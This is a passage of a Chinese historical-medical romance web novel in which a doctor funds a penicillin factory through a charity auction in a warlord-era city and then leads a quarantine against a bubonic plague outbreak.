下面人满头大汗地跑来汇报,“咱们贴了告示,来的都是些大字不识几个的苦力。让他们扛包还行,让他们去管那些瓶瓶罐罐,还要穿白大褂、戴口罩、进门洗手消毒……他们都嫌麻烦,说咱们是穷讲究,干不了两天就跑了。”
沈晚清皱眉。
这也是意料之中的事。在这个年代,卫生观念极度落后,想让普通百姓适应这种现代化的无菌操作,简直比登天还难。
“沈顾问!”
就在这时,一个熟悉的大嗓门传来。
只见那个之前差点被截肢的小战士二牛,拄着拐杖,带着几十个穿着旧军装、却一个个缺胳膊少腿的汉子,浩浩荡荡地走了过来。
“二牛?你怎么来了?”沈晚清惊讶道,“你的腿还没好利索,怎么能乱跑?”
“俺没事!俺听说恩人要开厂子,缺人手,俺就把这帮兄弟都带来了!”
二牛指了指身后那些人,“沈顾问,这些都是因伤退下来的老兵。他们有的少了只手,有的瘸了腿,虽然上不了战场,但手脚还算利索,最重要的是——听话!守纪律!”
他拍着胸脯保证:“您让我们洗手就洗手,让我们戴口罩就戴口罩。谁要是敢不听您的,俺二牛第一个削他!”
沈晚清看着眼前这群眼神热切、却又带着些许自卑的残疾老兵。
在这个时代,他们是军队的累赘,是被社会遗忘的边缘人。
但在此刻的沈晚清眼里,他们却是最完美的工人。
军人,最懂服从。而制药,最需要的就是绝对的服从和执行力。
“好!”
沈晚清眼眶微热,当场拍板,“二牛,你就是第一车间的车间主任。这些兄弟,我全收了!不仅管吃管住,工钱按正规工人的两倍发!”
“敬礼——!!”
几十名残疾老兵热泪盈眶,扔掉拐杖,挺直脊梁,向着沈晚清敬了一个标准的军礼。
这是他们作为军人最后的尊严,也是他们对这位给予他们新生的女人的最高致敬。
……
半个月后,设备进场。
制药厂的骨架已经搭好,但这具躯壳还需要最重要的“心脏”——发酵罐和提纯设备。
亨利医生动用了他在租界的所有关系,终于搞到了一批二手的化工设备。
此时,这批庞然大物正被卡车运进厂区。
“慢点!轻点!这可是玻璃内胆!碎了就把你们卖了也赔不起!”亨利像只护崽的老母鸡一样,围着设备大呼小叫。
沈晚清站在新落成的办公楼二楼,看着楼下热火朝天的景象,心里却并没有太多轻松。
她手里拿着一张账单。
那是亨利刚刚递给她的。
“设备超支了。”
陆淮锦不知何时走了进来,看了一眼她手里的单子,眉头微皱,“这批德国货,价格比预
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算高了三倍?”
“洋人趁火**。”
沈晚清叹了口气,“他们知道这东西现在的战略价值,故意抬价。而且,为了保证纯度,还需要进口大量的优质活性炭和溶剂。这一笔笔算下来……”
她把账单递给陆淮锦,“我们从沈家抄来的那点钱,加上你给我的启动资金,已经见底了。”
陆淮锦看着那串触目惊心的数字,沉默了。
虽然他是少帅,坐拥北六省,但打仗就是个无底洞。前线的军费、粮草、**,每天都在烧钱。他能挤出这笔启动资金已经是极限,再想拿出现钱,难如登天。
“还差多少?”陆淮锦问。
“至少还要五万大洋,才能让第一条生产线转起来。”沈晚清报出了一个天文数字。
五万大洋。
在这个一斤米只要几分钱的年代,这是一笔巨款。
“我去想办法。”
陆淮锦收起账单,转身就要走,“军需处那边应该还能挤一点……”
“不行。”
沈晚清拉住他,“军费不能动。前线的将士们在拼命,不能断了他们的粮饷。这钱,我们得自己挣。”
“怎么挣?”陆淮锦看着她,“卖药?药还没造出来呢。”
“谁说没造出来?”
沈晚清走到实验台前,拿起一支刚刚封装好的、只有手指大小的玻璃安瓿瓶。
里面装着淡黄色的粉末。
这是实验室里这几天加班加点赶制出来的第一批样品——青霉素粉针剂。
虽然只有这十几支,但在这个没有抗生素的时代,这就是价比黄金的“保命符”。
“物以稀为贵。”
沈晚清晃了晃手里的小瓶子,眼中闪烁着商人的精明与算计,“海城的有钱人多,北城的怕死鬼也不少。既然他们有钱没处花,那我就给他们一个花钱买命的机会。”
“你要卖这个?”陆淮锦挑眉,“这么点,能卖五万?”
“直接卖肯定不行。”
沈晚清嘴角勾起一抹自信的笑,“但如果把它包装成‘绝版’、‘限量’、‘神药’,再搞一场声势浩大的拍卖会……”
她看向陆淮锦:
“少帅,借你的名头一用。我要给全北城的富商名流,发一张‘英雄帖’。”
“告诉他们,谁能拍下这第一支‘陆氏神针’,谁就等于多了一条命。”
陆淮锦看着她那副胸有成竹的样子,紧皱的眉头终于舒展开来。
“好。”
他伸手揽过她的腰,在她额头亲了一口,“那就依夫人所言。我看谁敢不来捧场。”
夕阳西下,金色的余晖洒在新建的厂房上。
钱的问题虽然迫在眉睫,但在这对强强联手的夫妻面前,似乎也没有那么难了。
只是他们不知道,这场即将到来的拍卖会,不仅会引来送钱的财神爷,也会引来更加贪婪和凶残的恶狼。
第47章 资金短缺
一只青花瓷茶盏狠狠地摔在地上,碎片四溅。
“混账东西!五万大洋?!你当老子的钱是大风刮来的?”
陆大帅气得胡子乱颤,指着站在书桌前的陆淮锦破口大骂,“前线吃紧,几万弟兄等着发饷,你倒好,为了那个女人建什么破药厂,一开口就是五万?我看你是被猪油蒙了心!”
陆淮锦站得笔直,神色并未因父亲的暴怒而有丝毫改变。
“大帅,这不是为了女人,是为了陆家军。”
他声音沉稳,据理力争,“沈晚清的药已经验证过了,能救命。有了药厂,咱们的伤亡率至少能降一半。这笔钱,是买命钱。”
“放屁!什么药能值五万?”
陆大帅根本听不进去,“以前咱们用草木灰、金创药不也过来了?怎么现在的兵就这么娇贵?非得用那些洋玩意儿?我看那个沈晚清就是个吞金兽!你看看这账单——玻璃罐子要几千块,那个什么‘活性炭’比煤都贵!这哪里是制药,这是烧钱!”
他大手一挥,直接下了逐客令:
“要钱没有,你要是再敢提这事儿,我就让人把那个药厂给封了!”
陆淮锦眉头紧锁,眼中闪过一丝阴霾。
他知道父亲固执,但没想到顽固到了这种地步。在这个老军阀眼里,看得见的枪炮才是硬通货,看不见的细菌和药物全是扯淡。
“既然大帅不给,那我自己想办法。”
陆淮锦冷冷地丢下一句话,转身大步走出了书房。
身后传来陆大帅的咆哮:“你想办法?你除了去抢,还能有什么办法?我警告你,不许动军饷!”
……
华夏制药厂,临时办公室。
沈晚清正坐在简陋的木桌前,眉头紧锁地看着手里的一封信。
信是从海城寄来的,信封上歪歪扭扭地写着“东家亲启”,是阿福的字迹。
“东家,海城一切安好。康会长很照顾咱们,没人敢来找茬。济世堂这几个月的流水都在汇票里了,一共是一千二百大洋。阿福无能,这已经是能凑出的极限了……”
沈晚清放下信,轻轻叹了口气。
一千二百大洋。
对于一家普通医馆来说,这已经是一笔巨款。但对于这个如同无底洞般的制药厂来说,连买半套蒸馏设备的钱都不够。
远水解不了近渴。
“沈,我们必须要停工了。”
亨利医生推门进来,手里拿着那个空空如也的钱袋,一脸沮丧,“工人们已经三天没发工钱了。虽然二牛带来的那些伤兵兄弟说不要钱也干,但我们不能让他们饿着肚子干活。而且,那批德国设备还在天津港扣着,没钱付尾款,洋行就要把东西拉回去拍卖了。”
“不能停。”
沈晚清站起身,目光扫过窗外正在冒着蒸汽的锅炉。
发酵罐里的菌种正在生长,那是第一批大规模培养的青霉素。一旦停电、停温,所有的努力都会化为乌有,菌种也会死亡。
“钱的事,我来解决。”
“怎么解决?”
陆淮锦推门而入,带着一身寒气。他的脸色不太好看,显然是在帅府碰了壁。
他走到沈晚清面前,有些愧疚地握住她的手:“老头子那边……没谈拢。他眼皮子浅,看不到长远。”
他顿了顿,眼中闪过一丝狠色,“实在不行,我去抄了那个还在蹦跶的土匪窝‘黑风寨’,应该能凑点。”
“那是杯水车薪,而且太冒险。”
沈晚清摇摇头,反手握住他的手,安抚着他躁动的情绪。
“淮锦,我们不能总靠抢。要在这个乱世立足,得学会用商人的手段。”
她转身,从保险柜里取出了那个精致的紫檀木盒。
打开盒子,里面静静地躺着一支刚刚封装好的、淡黄色的青霉素粉针剂。
这是目前为止,纯度最高、也是唯一的一支成品。
“这就是我们
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的印钞机。”
沈晚清看着那支药,嘴角勾起一抹自信的弧度。
“亨利,帮我联系北城最大的拍卖行——‘聚宝楼’。”
“拍卖?”亨利一愣,“你是要卖这支药?”
“不,我卖的是命。”
沈晚清拿起那支药剂,在灯光下晃了晃,“告诉他们,三天后,陆少帅将在帅府举办一场慈善晚宴暨拍卖会。”
“拍品只有一样——‘阎王敌’保命金针。”
“起拍价:一万大洋。”
“什么?一万?!”亨利瞪大了眼睛,“沈,你疯了吗?这只是一支药!虽然它很珍贵,但一万大洋能买下半个团的装备了!”
“在必死之人眼里,一万大洋买一条命,太便宜了。”
沈晚清看向陆淮锦,眼中闪烁着狡黠的光芒,“少帅,这次还得借你的面子用用。把请帖发给北城所有的富商、名流,甚至……给那些在北城活动的外国公使也发一份。”
“你是想……”陆淮锦看着她,突然明白了她的意图。
“那些有钱人最怕什么?怕死。”沈晚清冷笑,“尤其是那些在这个冬天染上了肺炎、或者受了外伤久治不愈的达官显贵。只要让他们亲眼看到这药的神奇,别说一万,五万他们也得掏。”
“而且,这也是给陆大帅的一记耳光。”
沈晚清眼中闪过一丝傲气,“他不是说我是吞金兽吗?那我就让他看看,我是怎么让他儿子变成全北城最有钱的军阀的。”
陆淮锦看着眼前这个意气风发、运筹帷幄的小女人,心中的阴霾一扫而空。
他不仅没有觉得她市侩,反而觉得她这副精明算计的模样,可爱到了极点。
“好。”
陆淮锦一把揽过她的腰,在那张喋喋不休的小嘴上亲了一口。
“听夫人的。”
“宋副官!备车!去聚宝楼!”
“咱们去给那些有钱的老爷们,下个套。”
第48章 拍卖会
今夜的北城,最热闹的地方莫过于位于东交民巷附近的聚宝楼。
这座平日里只接待皇亲国戚和顶级富商的拍卖行,此刻灯火辉煌,门前的车马排成了长龙。虽然寒风凛冽,但每一位下车的宾客都衣着光鲜,脸上挂着矜持而兴奋的笑容。
陆少帅亲自发的“英雄帖”,谁敢不来?
更何况,帖子上那句“竞拍阎王敌,以此买长生”的狂言,早已吊足了所有人的胃口。
二楼,贵宾包厢。
沈晚清站在落地窗前,透过丝绒窗帘的缝隙,俯瞰着楼下逐渐坐满的大厅。
她今晚穿了一件深紫色的丝绒旗袍,外面披着一条白色的狐狸**披肩,头发高高盘起,露出修长的脖颈和一对璀璨的钻石耳坠。这身装扮不仅显得雍容华贵,更透着一股深不可测的神秘感。
“都来了吗?”她淡淡问道。
“都来了。”
站在她身后的宋副官递上一份名单,“北城最有钱的‘煤炭大王’赵四爷、垄断了纺织业的李老板、还有英国汇丰银行的买办……甚至连南边来的几个盐商都赶过来了。这帮人,平时让他们捐个款跟割肉似的,今天倒是跑得比兔子还快。”
“因为他们怕死。”
沈晚清合上名单,嘴角勾起一抹冷笑,“钱没了可以再赚,命没了就什么都没了。对于这些腰缠万贯却又惜命如金的人来说,只要能看到活下去的希望,多少钱他们都舍得掏。”
这时,包厢门被推开。
陆淮锦大步走了进来。他今天穿了一身笔挺的黑色西装,胸前别着一枚精致的徽章,整个人显得英俊非凡,却又带着一股与生俱来的压迫感。
“准备好了吗,沈老板?”
他走到她身边,自然地揽住她的腰,“下面的戏台子已经搭好了,就等你这位角儿登场了。”
“亨利那边呢?”沈晚清问。
“已经在那候着了。那老外现在比你还激动,抱着那瓶药跟抱孙子似的。”陆淮锦笑道。
沈晚清深吸一口气,整理了一下披肩。
“那就开场吧。”
她转过身,眼中闪烁着志在必得的光芒,“今晚,我要让这聚宝楼,变成我们的提款机。”
……
一楼,拍卖大厅。
随着三声清脆的钟响,原本喧闹的大厅瞬间安静下来。
聚宝楼的金牌拍卖师走上台,满脸堆笑地说了一通场面话,然后神色一肃,朗声道:
“诸位!今晚的压轴拍品,乃是陆少帅与‘神医’沈晚清小姐联手研制的救命神药!此药名为——‘盘尼西林’,江湖人称‘阎王敌’!”
“有请亨利博士,为大家展示!”
聚光灯瞬间打向舞台一侧。
亨利医生穿着燕尾服,戴着白手套,手里捧着一个紫檀木的托盘,神情庄重地走了上来。
托盘中央,是一个铺着红丝绒的小盒子。盒子里,静静地躺着一支只有手指大小的玻璃安瓿瓶。
在灯光的照射下,瓶中淡黄色的粉末闪烁着微光,显得平平无奇,却又无比神秘。
“就这?”
台下传来一阵窃窃私语。
“一瓶黄粉就能救命?这也太玄乎了吧?”“我看就是**的!陆少帅这是想钱想疯了吧?”“嘘!小声点!你不要命了?”
面对台下的质疑,亨利并没有慌张。他用一口流利的英语大声说道:
“各位绅士、女士!我知道你们在怀疑什么。但在科学面前,怀疑是多余的!”
“这支药,能在一周内治愈致死率高达90%的肺炎!能让全身溃烂的败血症患者起死回生!就在上周,陆家军的一名战士大腿粉碎性骨折并发气性坏疽,所有医生都说要截肢,但用了这药,三天!仅仅三天!伤口愈合,高烧退去,腿保住了!”
全场一片哗然。
“神迹!这是神迹啊!”“我那老丈人就是得肺炎死的,要是早有这药……”“这洋鬼子是租界医院的院长,他的话应该可信!”
质疑声逐渐变成了惊叹声,那些原本漫不经心的富豪们,眼神开始变得炽热起来。
“诸位!”
拍卖师见火候到了,猛地一敲木槌,“这支药,目前全中国仅此一支!下一批产出,至少要等到三个月后!机会只有一次,错过就是一生!”
“起拍价——一万大洋!”
“每次加价,不得少于一千!”
“一万?!”
虽然早就有了心理准备,但这个起拍价还是让不少人倒吸一口冷气。一万大洋,在北城能买一座三进的四合院了!
然而,短暂的沉默后。
“一万一!”
前排的一个胖子率先举牌。他是北城的煤炭大王,因为常年吸入粉尘,肺一直不好,最怕的就是肺炎。
“一万二!”“一万五!”
有人带头,竞价瞬间白热化。
“两万!”一个穿着长衫的盐商喊道。
“两万五!”纺织大亨不甘示弱。
价格一路飙升,很快就突破了三万大洋。
沈晚清站在二楼包厢,看着楼下疯狂的人群,脸上的表情依旧平静。
“看来,大家都挺怕死的。”陆淮锦在她耳边轻笑,“三万了,够不够?”
“不够。”
沈晚清摇摇头,“这只是开始。真正的大鱼,还没张嘴呢。”
果然,就在价格停在三万五的时候。
一直坐在角落里、始终没有动静的一个戴着墨镜的中年人,缓缓举起了手中的牌子。
“五万。”
他声音不大,却透着一股势在必得的豪气。
全场瞬间死寂。
五万大洋!直接加价一万五!这是哪路神仙?
众人纷纷侧目,才发现那人身边坐着几个彪形大汉,腰间鼓囊囊的,显然是带了家伙。
“是天津卫的‘九爷’!”有人认出了他,“青帮的大佬!听说他唯一的儿子前几天跟人火拼,被人捅了肚子,肠子都流出来了,现在正发高烧等死呢!”
原来是急着救命的。
“五万一次!五万两次!”拍卖师的声音都在发抖,这笔佣金够他吃一辈子了!
“五万五!”
就在大家以为尘埃落定时,另一个包厢里传出了一个生硬的中文声音。
沈晚清眼神一凛。
这声音……是日本人?
只见那个包厢的帘子掀开一角,露出了佐藤一郎那张阴沉的脸。
“大日本商会,出五万五千大洋。”
佐藤看着楼下的“九爷”,眼神轻蔑。他今晚来,就是要当众拿下这瓶药,狠狠打陆淮锦的脸,顺便把药拿回去化验成分。
“六万!”九爷红了眼,直接拍桌子。
“六万五。”佐藤不紧不慢地加价,仿佛钱对他来说只是数字。
九爷的脸色变得铁青。他虽然有钱,但现金流毕竟有限,六万已经是极限了。
“日本人这是在找死。”
陆淮锦看着佐藤,眼中杀机一闪,“敢在我的场子上砸钱压人?”
“别急。”
沈晚清按住他的手,“有人比我们更急。”
果然,九爷猛地站起来,指着佐藤的包厢破口大骂:“小日本!你那是买药吗?你那是买回去研究!老子是买命!你跟老子抢命?!”
“拍卖场上,价高者得。”佐藤冷笑,
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“**人,没钱就滚出去。”
“你!”九爷气得要拔枪,却被身边的保镖死死抱住。
“六万五一次……”
拍卖师的锤子举了起来。
佐藤脸上露出了胜利的笑容。
“十万。”
就在这时,一个清冷的女声,通过扩音器,从二楼的一号包厢传了出来。
全场瞬间炸锅。
十万?!
所有人抬头望去,只见沈晚清站在栏杆前,居高临下地看着佐藤。
“沈小姐?”拍卖师傻了,“您……您这是?”
“这药是我做的,我有权决定卖给谁。”
沈晚清目光如刀,直刺佐藤,“刚才九爷说得对,这药是用来救命的,不是用来给某些心怀叵测的人做实验的。”
“所以,我宣布,本次拍卖增加一条规则:日本人与狗,不得竞拍。”
“这支药,我以十万大洋的价格,回购!”
“但我转手——”
沈晚清手一指,指向楼下那个满眼绝望的九爷:
“免费赠送给这位九爷!”
轰——!
整个聚宝楼仿佛被引爆了。
免费送?!
十万大洋的东西,说送就送?!
“沈小姐……您这是……”九爷也愣住了,以为自己听错了。
“九爷,您爱子心切,这份父爱令人动容。”
沈晚清的声音柔和了几分,“这药您拿去救人。钱,我一分不要。但如果您真的想谢我……”
她顿了顿,目光扫过全场那些被她这一手彻底震慑住的富商们:
“不如以后多照顾照顾我们华夏制药厂的生意。毕竟,我们以后还有第二批、第三批药要上市。”
“好!好!好!”
九爷激动得热泪盈眶,当场跪下,冲着二楼重重磕了三个响头,“沈小姐大恩大德!我九爷没齿难忘!以后只要是华夏制药厂的事,就是我青帮的事!谁敢跟您过不去,就是跟我九爷过不去!”
全场掌声雷动。
这哪里是拍卖,这分明是一场完美的“千金买骨”的营销秀!
沈晚清不仅在这个晚上确立了青霉素的神药地位,更用一支药,换来了青帮这个强大的盟友,以及全北城商界的人心!
至于那个佐藤一郎。
他此刻脸色黑如锅底,像是吞了一只苍蝇一样难受。
他拿着钱来砸场子,结果不仅没买到药,还被当众羞辱了一番,最后还成了沈晚清收买人心的背景板!
“八嘎!我们走!”
佐藤气急败坏地带着人离开了。
……
拍卖会后,后台。
“沈老板,高啊!实在是高!”
亨利医生竖起大拇指,“虽然没拿到那十万大洋,但今天收到的预付款订单,已经超过二十万了!那些没拍到药的老板们,为了预定下一批货,争着交定金!”
“二十万?”
沈晚清看着手里那厚厚一叠汇票,终于松了一口气。
资金危机,解除了。
“不过,你也真舍得。”陆淮锦走过来,替她披上披肩,“那可是十万大洋的药,就这么送了?”
“舍不得孩子套不着狼。”
沈晚清笑了笑,眼神狡黠,“而且,那支药虽然纯度高,但其实是……上一批的次品。真正的极品,还在实验室里躺着呢。”
陆淮锦一愣,随即大笑出声,一把将她搂进怀里:
“奸商!真是个奸商!”
“不过,我喜欢。”
窗外,月明星稀。
华夏制药厂的烟囱里,终于冒出了复工的白烟。
在这场金钱与人心的博弈中,沈晚清赢得盆满钵满。
第49章 鼠疫初现
拍卖会结束后的第三天,制药厂的机器轰鸣声比以往任何时候都要响亮。
在那笔巨额预付款的支持下,原本停摆的生产线全速运转。亨利医生带着一群穿着白大褂的伤残老兵,像勤劳的工蚁一样在发酵车间里忙碌。淡黄色的青霉素粉末被小心翼翼地封装进玻璃安瓿瓶,然后被打上“陆氏军需”的钢印,装箱待发。
看着这一派欣欣向荣的景象,沈晚清坐在办公室里,紧绷了数日的神经终于稍稍放松了一些。
“沈顾问,喝口茶吧。”
二牛一瘸一拐地走进来,手里端着个大瓷茶缸,“这是俺娘刚送来的红枣茶,说是给您补气血的。”
“替我谢谢大娘。”沈晚清笑着接过茶缸,喝了一口,暖意顺着喉咙流进胃里。
“对了,二牛。”沈晚清放下茶缸,随口问道,“今天怎么没看到那个叫‘小耗子’的学徒?他平时最勤快,总是第一个来打扫卫生的。”
小耗子是二牛的同乡,一个只有十六岁的半大孩子,因为瘦小机灵,大家都叫他小耗子。
二牛挠了挠头,脸上的笑容淡了些:“俺也纳闷呢。这小子平时从不迟到。昨晚他说家里人不太舒服,想早点回去。今儿一早俺让人去他家找,也没见着人,门都锁着。”
“家里人不舒服?”沈晚清眉头微皱,“他家住哪儿?”
“就住在城南的‘猪笼寨’,那一块全是逃荒来的流民,乱得很。”二牛叹了口气,“估计是家里人生病了吧。这几天天忽冷忽热的,好多人都发烧了。”
“好多人发烧?”
沈晚清敏锐地捕捉到了这个字眼。作为医生,她对“群体性发病”有着天然的警觉。
“是啊。”二牛没当回事,“俺今早路过城南的时候,看见好几家都在办白事。听说都是发高烧,烧着烧着人就没气了。还有人说是因为最近死老鼠多,晦气。”
“死老鼠?”
沈晚清猛地站了起来,手中的茶缸差点打翻,茶水溅湿了桌上的文件。
“你说……死老鼠多?”
“是啊。”二牛被她的反应吓了一跳,“听那边的街坊说,这几天不知道咋回事,平时躲着不出来的老鼠,一个个像喝醉了酒似的,大白天往马路上跑,跑着跑着就倒地**。街角、阴沟边,到处都是死老鼠,臭气熏天的……”
轰——!
沈晚清的脑子里仿佛炸开了一道惊雷。
死鼠遍地,高热**。
这两个特征联系在一起,在医学史上只有一个名字,一个曾让欧洲人口锐减三分之一、让无数城市变成死城的恐怖名字——
鼠疫。
也就是俗称的“黑死病”。
“备车!”
沈晚清一把抓起挂在衣架上的大衣,脸色瞬间变得惨白,“快!叫上宋副官!带上防毒面具和防护服!马上去城南!”
“沈顾问,出啥事了?”二牛从没见过沈晚清这么惊慌的样子。
“如果不快点,这北城……就要变死城了!”
……
北城城南,猪笼寨。
这里是繁华北城的背面,是贫穷与肮脏的代名词。低矮的棚户区密密麻麻地挤在一起,污水横流,空气中弥漫着一股发霉和腐烂的味道。
黑色的轿车停在巷口,再往里走,车就进不去了。
沈晚清跳下车,此时她已经全副武装——戴着厚厚的棉纱口罩,手上戴着橡胶手套,身上穿着紧不透风的防护服。
跟在身后的宋副官和卫兵们虽然不解,但也都在她的严令下戴上了口罩。
“大家都小心点,别碰任何东西,尤其是死老鼠!”沈晚清厉声警告。
还没走进深处,一股令人作呕的恶臭便扑面而来。
路边的垃圾堆旁,果然躺着几只僵硬的死老鼠。它们的尸体已经发胀,苍蝇在上面嗡嗡乱飞。
沈晚清蹲下身,用镊子夹起一只死鼠查看。
腹部肿胀,皮下有出血点。
她心中一沉。
“救命啊……谁来救救我儿子……”
一阵微弱的哭喊声从一间破败的土坯房里传出来。
沈晚清立刻起身,循声走去。
推开那扇摇摇欲坠的木门,屋里的景象让见惯了生死的宋副官都忍不住倒吸了一口凉气。
昏暗的土炕上,躺着一大一小两个人。
大的那个是个老妇人,已经没气了,尸体呈现出一种诡异的紫黑色。
小的那个正是失踪的学徒“小耗子”。
此时的他,再也没了往日的机灵劲儿。他蜷缩在角落里,面色潮红,浑身剧烈地抽搐着,嘴里吐着白沫,意识已经模糊不清。
“小耗子!”二牛想冲进去,被沈晚清一把拦住。
“别
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进去!那是烈性传染病!”
沈晚清从药箱里拿出听诊器和体温计,独自一人走了进去。
她检查了小耗子的体征。
高烧41度,脉搏细速。
最关键的是,她在小耗子的腹股沟和腋下,摸到了几个鸡蛋大小的硬块——那是肿大的淋巴结。
淋巴结已经化脓破溃,流出黑红色的血水。
这是最典型的腺鼠疫症状!
“沈顾问……我……我冷……”小耗子迷迷糊糊地睁开眼,看到了沈晚清,想要伸手抓她,却连抬手的力气都没有,“我娘……我娘怎么不说话了……”
沈晚清看着这个几天前还活蹦乱跳的孩子,眼眶有些发红。
她迅速给他注射了一针强心剂,又喂了一颗磺胺。
“宋副官。”
沈晚清走出屋子,摘下手套扔进火盆里,声音冷得像是结了冰。
“立刻封锁这个院子。里面的人,不许出,外面的人,不许进。”
“还有,马上派人去查,这几天城南一共有多少人发烧?有多少人**?尸体都去哪儿了?”
宋副官意识到事情的严重性,立刻派人去查。
半小时后,数据汇总到了沈晚清手里。
短短三天内,猪笼寨所在的街区,已经有数十人暴毙,还有五十多人正在发高烧。
而更可怕的是,因为迷信,那些死者的家属并没有将尸体火化,而是草草掩埋,甚至有些穷人直接把尸体扔在了乱葬岗,任由野狗啃食。
这意味着,鼠疫杆菌可能已经通过跳蚤、老鼠和空气,开始向四周扩散。
“必须马上封城。”
沈晚清看着手里那份触目惊心的名单,做出了决断。
“封城?!”
宋副官大惊失色,“沈顾问,这可不是小事!北城有几十万人口,一旦封城,商贸断绝,人心惶惶……而且,大帅那边……”
“管不了那么多了。”
沈晚清转过身,目光如炬地看向帅府的方向。
“如果不封城,切断传播链,不出一个月,北城就会变成一座死城。到时候,别说商贸,连给大帅抬棺材的人都找不到!”
她大步走向汽车。
“回帅府!我要见陆淮锦!”
天空不知何时阴沉了下来,乌云压顶,一场比战争更可怕的风暴,正在北城的上空酝酿。
第50章 封城令
窗外的雷声滚滚,一场暴雨即将倾盆而下。
帅府议事厅内,烟雾缭绕,气氛比外面的天气还要压抑。
陆大帅坐在首位,手里盘着铁胆,眉头紧锁成一个“川”字。长桌两侧,坐满了北城的军政要员和商界大佬。
“简直是胡闹!”
一名穿着绸缎长衫、满脸肥肉的胖子拍着桌子,唾沫横飞。他是北城新任的商会会长,钱万三。
“封城?你知道封城意味着什么吗?北城的粮食、布匹、煤炭,全靠每天的进出运输!一旦封城,不出三天,物价飞涨,人心惶惶!到时候不用病死,饿都饿**了!”
“就是啊!”旁边的一位市政厅官员也附和道,“而且现在只是**几个穷人,就把拥有几十万人口的北城封了?这未免太小题大做了吧!沈顾问,你是不是在危言耸听?”
所有人的目光都像刀子一样射向站在长桌末端的沈晚清。
沈晚清手里拿着那份触目惊心的死亡名单和尸检报告。
面对众人的指责,她没有退缩,反而一步步走到长桌前,将那叠染着黑血的报告重重摔在钱会长面前。
“啪!”
“危言耸听?”
沈晚清的声音清冷如冰,“钱会长,你睁大眼睛看看!这是显微镜下的鼠疫杆菌!这种细菌通过跳蚤、老鼠传播,一旦发展成肺鼠疫,就能通过飞沫人传人!”
“现在的死亡人数是数十人,但潜伏期的人可能有两百、两千!”
她指着墙上的北城地图,手指在人口密集的城南重重画了一个圈:
“如果不封锁疫区,不切断传播链,按照现在的传播速度,不出一个月,我们在座的各位,包括你们的妻儿老小,有一个算一个,都得死!”
“鼠疫面前,众生平等。它可不管你是有钱人还是穷人!”
这一番话,说得铿锵有力,让人背脊发凉。
钱会长的脸色白了一下,但随即又梗着脖子说道:“那……那也不能全封啊!把那个猪笼寨围起来不就行了?要是断了商路,这损失谁来赔?大帅的军费从哪儿出?”
他这一招很阴毒,直接拿军费来压陆大帅。
果然,陆大帅犹豫了。
他看向沈晚清,语气有些迟疑:“那个……晚清啊,是不是再商量商量?封城毕竟动静太大了,要是引起哗变……”
“大帅!”沈晚清急了,“人命关天!犹豫一秒就是无数条人命啊!”
“我看谁敢哗变。”
一直坐在旁边沉默不语的陆淮锦,突然开口了。
他这一出声,整个议事厅的温度瞬间降了几度。
陆淮锦缓缓站起身,军靴踩在地板上,发出沉闷的声响。他走到沈晚清身边,并没有看那些商人和官员,而是从腰间拔出了那把象征着权力的配枪。
“咔哒。”
**上膛的声音,在死寂的大厅里格外刺耳。
他把枪往桌上一拍,目光森然地扫过钱会长那一群人:
“刚才谁说要赔偿损失?”
钱会长吓得浑身哆嗦,缩着脖子不敢吭声。
“钱没了,可以再挣。人没了,就真的没了。”
陆淮锦的声音不大,却带着一股不容置疑的铁血意志,“我陆家军守的是这北城的百姓,不是守你们这群吸血鬼的钱袋子!”
他转过身,面向陆大帅,行了一个标准的军礼:
“大帅,非常时期,当用非常手段。淮锦请求立刻接管北城防务,实施全城**!”
陆大帅看着这个气场已经完全压过自己的儿子,又看了看眼神坚定的沈晚清,终于咬了咬牙。
“好!”
陆大帅一拍桌子,“准了!从现在起,北城只许进,不许出!”
得到授权,陆淮锦没有任何废话,直接下令:
“宋副官!”
“到!”
“传令警卫团,立刻封锁城南猪笼寨及周边三个街区,拉铁丝网,设卡。任何人不得进出,违令者,就地枪决!”
“传令城防营,关闭四门,切断铁路运输。征用城内所有药铺、米行,物资统一调配,敢有囤积居奇、哄抬物价者,杀无赦!”
一条条冷酷而高效的命令从他口中发出,整个北城的战争机器瞬间运转起来。
最后,陆淮锦转头看向沈晚清。
那一刻,他眼里的杀气散去,只剩下无条件的信任与托付。
“沈顾问。”
“在。”沈晚清挺
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直脊背。
“我任命你为‘北城防疫总指挥’。全城的医生、护士,包括我的军医处,全部归你调遣。”
陆淮锦从领口摘下自己的少帅徽章,郑重地别在她的胸前,“你需要什么,尽管开口。哪怕是把帅府拆了给你当隔离区,我也没二话。”
沈晚清抚摸着那枚还带着他体温的徽章,眼眶微热。
她知道,这是一份怎样的重担,也是一份怎样的深情。
“放心。”
她向他敬了一个礼,“只要我活着,绝不让瘟疫跨出城南一步。”
……
一小时后,封城令下。
刺耳的警报声响彻北城上空。
一队队全副武装的士兵冲上街头,红色的警戒线和冰冷的铁丝网迅速将繁华的城市切割成一个个孤岛。
“封城了!封城了!”“天哪,是瘟疫!”
百姓们惊慌失措,但在黑洞洞的枪口和严厉的广播声中,只能乖乖躲回家中闭门不出。
城南,猪笼寨外围。
这里已经被围成了铁桶。
沈晚清站在隔离线外,看着里面那一双双绝望、恐惧的眼睛。
“沈顾问……”
二牛带着一群伤残老兵,推着满载生石灰和消毒水的小车赶来了。他们都戴着特制的加厚口罩,眼神虽然害怕,但没有一个人退缩。
“沈,我也来了。”
亨利医生带着租界医院的志愿队也赶到了,他举着手里的箱子,“这是最新提炼的青霉素和磺胺,虽然不知道对鼠疫有没有用,但总得试试!”
沈晚清看着这些愿意陪她一起赴死的人,心中豪气顿生。
“穿防护服!”
沈晚清一声令下,“从现在起,这里就是战场。我们的敌人看不见摸不着,但我们必须赢!”
她率先穿上那件笨重的、用油布改制的防护服,戴上护目镜,毅然决然地跨过了那道警戒线。
身后,是陆淮锦在城楼上遥遥注视的目光。
他不能进去,因为他要坐镇中枢,压住那些蠢蠢欲动的各方势力,做她最坚实的后盾。
但他知道,这一战,比任何枪林弹雨都要凶险。
因为沈晚清要去的,是死神的怀抱。
第51章 生死一线
北城城南,猪笼寨隔离区。
这里已经被封锁了整整五天。
天空阴沉得仿佛要塌下来,空气中弥漫着一股浓烈的生石灰味和焚烧尸体的焦臭味。原本喧闹的贫民窟,此刻死一般寂静,只有偶尔传来的几声凄厉咳嗽,提醒着人们死神还在徘徊。
沈晚清穿着那件已经被汗水浸透了无数次的防护服,像个不知疲倦的陀螺,穿梭在一间间低矮阴暗的土坯房里。
“把这具尸体抬走!立刻火化!不要让家属靠近!”
“这边的病人高烧不退,呼吸困难,那是肺鼠疫的征兆!马上转移到重症隔离区!”
她的嗓子已经哑得快说不出话来,眼睛里布满了红血丝。
这五天里,她几乎没合过眼。
